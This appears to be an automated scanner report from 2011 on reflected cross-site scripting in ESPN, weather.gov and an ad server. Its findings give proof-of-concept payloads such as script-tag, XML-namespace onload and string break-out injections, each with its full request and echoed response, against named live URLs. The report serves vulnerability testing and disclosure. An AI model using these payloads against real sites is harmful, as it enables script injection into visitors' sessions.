HTTP/1.1 200 OK Cache-Control: max-age=300 Date: Wed, 23 Feb 2011 23:20:42 GMT Content-Type: text/html;charset=iso-8859-1 Last-Modified: Wed, 23 Feb 2011 23:20:42 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: ESPN32 Cache-Expires: Wed, 23 Feb 2011 23:25:42 GMT InvH: blog-new-yorkhockey Content-Length: 35047 Connection: close X-UA-Compatible: IE=EmulateIE7 Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Hockey Blog - ESPN ...[SNIP]... <link rel="canonical" href="http://espn.go.com/blog/new-york/hockey/category/_/name/new-york-rangers2c495"><a>c35cbec8142" /> ...[SNIP]...
The value of REST URL parameter 8 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 11851"><script>alert(1)</script>c254b6c06ee was submitted in the REST URL parameter 8. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/new-york/knicks/post/_/id/2851/melo-will-wear-no-7-for-the-knicks11851"><script>alert(1)</script>c254b6c06ee HTTP/1.1 Host: espn.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; jt_time=1298497403897; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;
Response
HTTP/1.1 200 OK Cache-Control: max-age=300 Date: Wed, 23 Feb 2011 23:19:58 GMT Content-Type: text/html;charset=iso-8859-1 Last-Modified: Wed, 23 Feb 2011 23:19:58 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: ESPN17 Cache-Expires: Wed, 23 Feb 2011 23:24:58 GMT InvH: blog-new-yorkknicks Content-Length: 69717 Connection: close X-UA-Compatible: IE=EmulateIE7 Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Melo will wear No. ...[SNIP]... <a href="/blog/new-yorkknicks/post/_/id/2851/melo-will-wear-no-7-for-the-knicks11851"><script>alert(1)</script>c254b6c06ee/sort/oldest"> ...[SNIP]...
1.121. http://espn.go.com/blog/new-york/knicks/post/_/id/2851/melo-will-wear-no-7-for-the-knicks [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f3622"><script>alert(1)</script>a8a4b6f11a1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/new-york/knicks/post/_/id/2851/melo-will-wear-no-7-for-the-knicks?f3622"><script>alert(1)</script>a8a4b6f11a1=1 HTTP/1.1 Host: espn.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; jt_time=1298497403897; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;
Response
HTTP/1.1 200 OK Cache-Control: max-age=300 Date: Wed, 23 Feb 2011 23:18:21 GMT Content-Type: text/html;charset=iso-8859-1 Last-Modified: Wed, 23 Feb 2011 23:18:21 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: ESPN13 Cache-Expires: Wed, 23 Feb 2011 23:23:21 GMT InvH: blog-new-yorkknicks Content-Length: 69328 Connection: close X-UA-Compatible: IE=EmulateIE7 Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Melo will wear No. ...[SNIP]... <a href="/blog/new-yorkknicks/post/_/f3622"><script>alert(1)</script>a8a4b6f11a1=1/id/2851/sort/oldest/melo-will-wear-no-7-for-the-knicks"> ...[SNIP]...
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b2eb1"><script>alert(1)</script>b1d8aa4d5e3 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/new-yorkjets/post/_/id/4686/rex-tannenbaum-ready-for-prime-timeb2eb1"><script>alert(1)</script>b1d8aa4d5e3 HTTP/1.1 Host: espn.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; jt_time=1298497403897; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;
Response
HTTP/1.1 200 OK Cache-Control: max-age=300 Date: Wed, 23 Feb 2011 23:20:50 GMT Content-Type: text/html;charset=iso-8859-1 Last-Modified: Wed, 23 Feb 2011 23:20:50 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: ESPN17 Cache-Expires: Wed, 23 Feb 2011 23:25:50 GMT InvH: blog-new-yorkjets Content-Length: 55011 Connection: close X-UA-Compatible: IE=EmulateIE7 Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Rex, Tannenbaum rea ...[SNIP]... <a href="/blog/new-yorkjets/post/_/rex-tannenbaum-ready-for-prime-timeb2eb1"><script>alert(1)</script>b1d8aa4d5e3/id/4686/sort/oldest"> ...[SNIP]...
1.123. http://espn.go.com/blog/new-yorkjets/post/_/id/4686/rex-tannenbaum-ready-for-prime-time [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1f156"><script>alert(1)</script>4a93f5fb5e8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/new-yorkjets/post/_/id/4686/rex-tannenbaum-ready-for-prime-time?1f156"><script>alert(1)</script>4a93f5fb5e8=1 HTTP/1.1 Host: espn.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; jt_time=1298497403897; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;
Response
HTTP/1.1 200 OK Date: Wed, 23 Feb 2011 23:19:58 GMT Content-Type: text/html;charset=iso-8859-1 Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: ESPN02 Cache-Expires: Wed, 23 Feb 2011 23:24:58 GMT InvH: blog-new-yorkjets Content-Length: 54453 Cache-Control: no-cache Pragma: no-cache Connection: close X-UA-Compatible: IE=EmulateIE7 Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Rex, Tannenbaum rea ...[SNIP]... <a href="/blog/new-yorkjets/post/_/id/4686/1f156"><script>alert(1)</script>4a93f5fb5e8=1/sort/oldest/rex-tannenbaum-ready-for-prime-time"> ...[SNIP]...
1.124. http://espn.go.com/espn/rss/newyork/news [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://espn.go.com
Path:
/espn/rss/newyork/news
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 993b0<a>c8de8f03e79 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /espn/rss/newyork/news?993b0<a>c8de8f03e79=1 HTTP/1.1 Host: espn.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; jt_time=1298497403897; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;
Response
HTTP/1.1 200 OK Cache-Control: max-age=15 Date: Wed, 23 Feb 2011 23:20:52 GMT Content-Type: text/xml; charset=iso-8859-1 Last-Modified: Wed, 23 Feb 2011 23:20:52 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: ESPN11 Cache-Expires: Wed, 23 Feb 2011 23:36:07 GMT Content-Length: 14917 Connection: close X-UA-Compatible: IE=EmulateIE7 Vary: Accept-Encoding
1.125. http://espn.go.com/ncb/conversation [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://espn.go.com
Path:
/ncb/conversation
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f99b1"><script>alert(1)</script>c51c4c595ec was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ncb/conversation?gameId=310542599&f99b1"><script>alert(1)</script>c51c4c595ec=1 HTTP/1.1 Host: espn.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; jt_time=1298497403897; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;
Response
HTTP/1.1 200 OK Cache-Control: max-age=5 Date: Wed, 23 Feb 2011 23:22:00 GMT Content-Type: text/html Last-Modified: Wed, 23 Feb 2011 23:22:00 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: ESPN09 Cache-Expires: Wed, 23 Feb 2011 23:22:05 GMT Content-Length: 45097 Connection: close X-UA-Compatible: IE=EmulateIE7 Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content- ...[SNIP]... <a href="?gameId=310542599&f99b1"><script>alert(1)</script>c51c4c595ec=1&sort=oldest"> ...[SNIP]...
The value of the name request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f0db4"><script>alert(1)</script>35d0e784658 was submitted in the name parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /new-york/columns/archive?name=ian-o-connorf0db4"><script>alert(1)</script>35d0e784658 HTTP/1.1 Host: espn.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; jt_time=1298497403897; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;
Response
HTTP/1.1 200 OK Cache-Control: max-age=60 Date: Wed, 23 Feb 2011 23:13:42 GMT Content-Type: text/html; charset=iso-8859-1 Last-Modified: Wed, 23 Feb 2011 23:13:42 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: ESPN03 Cache-Expires: Wed, 23 Feb 2011 23:14:42 GMT Content-Length: 21570 Connection: close X-UA-Compatible: IE=EmulateIE7 Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Ian O'Connor Archiv ...[SNIP]... <a href="http://search.espn.go.com/ian-o-connorf0db4"><script>alert(1)</script>35d0e784658/"> ...[SNIP]...
The value of the adminOver request parameter is copied into the XML document as plain text between tags. The payload ea180<a%20xmlns%3aa%3d'http%3a//www.w3.org/1999/xhtml'><a%3abody%20onload%3d'alert(1)'/></a>6674f816b2 was submitted in the adminOver parameter. This input was echoed as ea180<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>6674f816b2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The response into which the attack is echoed contains XML data, which is not by default processed by the browser as HTML. However, by injecting XML elements which create a new namespace it is possible to trick some browsers (including Firefox) into processing part of the response as HTML. Note that this proof-of-concept attack is designed to execute when processed by the browser as a standalone response, not when the XML is consumed by a script within another page.
HTTP/1.1 200 OK Cache-Control: max-age=300 Date: Wed, 23 Feb 2011 21:43:51 GMT Content-Type: text/xml;charset=UTF-8 Last-Modified: Wed, 23 Feb 2011 21:43:51 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: ESPN34 Cache-Expires: Wed, 23 Feb 2011 21:52:11 GMT X-UA-Compatible: IE=EmulateIE7 Vary: Accept-Encoding Connection: Keep-Alive Content-Length: 6404
The value of the highlight request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b77c1"%20a%3db%20111d93b24a1 was submitted in the highlight parameter. This input was echoed as b77c1" a=b 111d93b24a1 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /product.php?site=NWS&issuedby=GYX&product=AFD&format=CI&version=1&glossary=1&highlight=offb77c1"%20a%3db%20111d93b24a1 HTTP/1.1 Host: forecast.weather.gov Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Age: 8 Date: Sat, 26 Feb 2011 02:11:18 GMT Content-Length: 23466 Content-Type: text/html; charset=UTF-8 Expires: Sat, 26 Feb 2011 02:26:18 GMT Cache-Control: max-age=900 X-Pad: work around browser bug Server: Apache Via: 1.1 wwwcache-2 (NetCache NetApp/6.0.7), 1.0 c3.w3.woc (squid) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head> <meta http-equiv="Content- ...[SNIP]... <a href="?site=NWS&issuedby=GYX&product=AFD&format=CI&version=2&glossary=1&highlight=offb77c1" a=b 111d93b24a1"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload e3539<script>alert(1)</script>45440a8342f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /frontpagee3539<script>alert(1)</script>45440a8342f/ HTTP/1.1 Host: games.espn.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Connection: close Content-Length: 132 Content-Type: text/html; charset=iso-8859-1 Server: barista/3.3.6 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRoBUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY>404 Not Found<HR>/frontpagee3539<script>alert(1)</script>45440a8342f/</BODY></HTML>
The value of the cnd request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5c463'-alert(1)-'ba5a810b394 was submitted in the cnd parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ab?enc=zszMzMzM7D_NzMzMzMzsPwAAAMDMzOw_zczMzMzM7D_NzMzMzMzsP6-N1StXo8pzvNv2i6g_Cj5JfmVNAAAAADchAAC1AAAAagEAAAIAAAB0-AIA0WMAAAEAAABVU0QAVVNEACwB-gDNClQApQMBAgUCAAQAAAAAhS4AGgAAAAA.&tt_code=vert-63&udj=uf%28%27a%27%2C+10117%2C+1298497097%29%3Buf%28%27c%27%2C+49291%2C+1298497097%29%3Buf%28%27r%27%2C+194676%2C+1298497097%29%3Bppv%289239%2C+%278343660854450163119%27%2C+1298497097%2C+1299706697%2C+49291%2C+25553%29%3B&cnd=!Yxa9ZAiLgQMQ9PALGAAg0ccBKFQxAAAAwMzM7D9CEwgAEAAYACABKP7__________wFIAFAAWM0VYABo6gI.5c463'-alert(1)-'ba5a810b394&referrer=http://www.komonews.com/weather&pp=TWV-SQAH9ygK7F4kAKxMFELM_cWJgyGndva2MQ&pubclick=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBBVmNSX5lTajuH6S8sQeUmLEF1PX12QHs56PgHNzOmvFCABABGAEgADgBUIDH4cQEYMmGo4fUo4AQggEXY2EtcHViLTI3MzM5OTQzMTU5NjI2MzOyARB3d3cua29tb25ld3MuY29tugEKMzAweDI1MF9hc8gBCdoBH2h0dHA6Ly93d3cua29tb25ld3MuY29tL3dlYXRoZXKYArQBwAIEyALE5swWqAMB6AM_6AO4KugDvAToA7kp9QMAAABE9QMgAAAA%26num%3D1%26sig%3DAGiWqtys2Mfisw0UXTlYtNy6D11F57DF6w%26client%3Dca-pub-2733994315962633%26adurl%3D HTTP/1.1 Host: ib.adnxs.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: icu=ChIIr7gCEAoYASABKAEwtPyV6wQQtPyV6wQYAA..; sess=1; uuid2=4470455573253905340; anj=Kfu=8fG5+^E:3F.0s]#%2L_'x%SEV/i#-WZ!z6WIpbjn!e5'S.ASR/7l([H.cpVGe8tPtQ-y5#we@ie65CB#S!9Y^vP[KF^P'%_EYX5)gWYmv-[1%xvmrNHt.[<D(7u)aj^!iH1rT^=*7C^Bjc%C9:V]:>i#xK^@g2k_woCAWF@?sM.MP<1ix2hdXO=Pl'/PbHH*j^3)C6XZhUC$K!+.kQ]f9jkt)1ur:'MK@Nx4=0i7Jr<lXda`#HI#!f
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Set-Cookie: sess=1; path=/; expires=Thu, 24-Feb-2011 21:42:44 GMT; domain=.adnxs.com; HttpOnly Set-Cookie: uuid2=4470455573253905340; path=/; expires=Tue, 24-May-2011 21:42:44 GMT; domain=.adnxs.com; HttpOnly Content-Type: text/javascript Set-Cookie: uuid2=4470455573253905340; path=/; expires=Tue, 24-May-2011 21:42:44 GMT; domain=.adnxs.com; HttpOnly Set-Cookie: anj=Kfu=8fG7DHE:3F.0s]#%2L_'x%SEV/i#-$J!z6WIpbjn!e5'S.ASR/7l([H.cpVGe8tPtQ-y5#we@ie65CB#S!9Y^vP[KF^P'%_EYX5)gWYmv-[1%xvmrNHt.[<D(7u)aj^!iH1rT^=*7C^Bjc%C9:V]:>i#xK^@g2k_woCAWF@?sM.MP<1ic[d7oDDJ$2YVA<8r(ccEO=Pl'/PbFsX??`gC6X[1UC$K!+.kQaf9jkt):tzmY(.j84K]4XtqIGp!x$aQ6a4:5; path=/; expires=Tue, 24-May-2011 21:42:44 GMT; domain=.adnxs.com; HttpOnly Date: Wed, 23 Feb 2011 21:42:44 GMT Content-Length: 1516
1.131. http://insider.espn.go.com/mlb/blog [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://insider.espn.go.com
Path:
/mlb/blog
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3a47a"><script>alert(1)</script>c61540aaab8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /mlb/blog?name=stark_jayson&id=6154671&3a47a"><script>alert(1)</script>c61540aaab8=1 HTTP/1.1 Host: insider.espn.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 200 OK Date: Sat, 26 Feb 2011 02:13:25 GMT Content-Type: text/html Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: EGW06 Set-Cookie: SWID=6E9C9082-DD07-42E9-8207-8AAC74C9B6A1; path=/; expires=Sat, 26-Feb-2031 02:13:25 GMT; domain=.go.com; Cache-Expires: Sat, 26 Feb 2011 02:18:25 GMT Content-Length: 63928 Cache-Control: no-cache Pragma: no-cache Set-Cookie: DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; expires=Tue, 08 Mar 2011 02:13:25 GMT; Path=/; Domain=.go.com Connection: close Via: 8810-05/06 Vary: Accept-Encoding
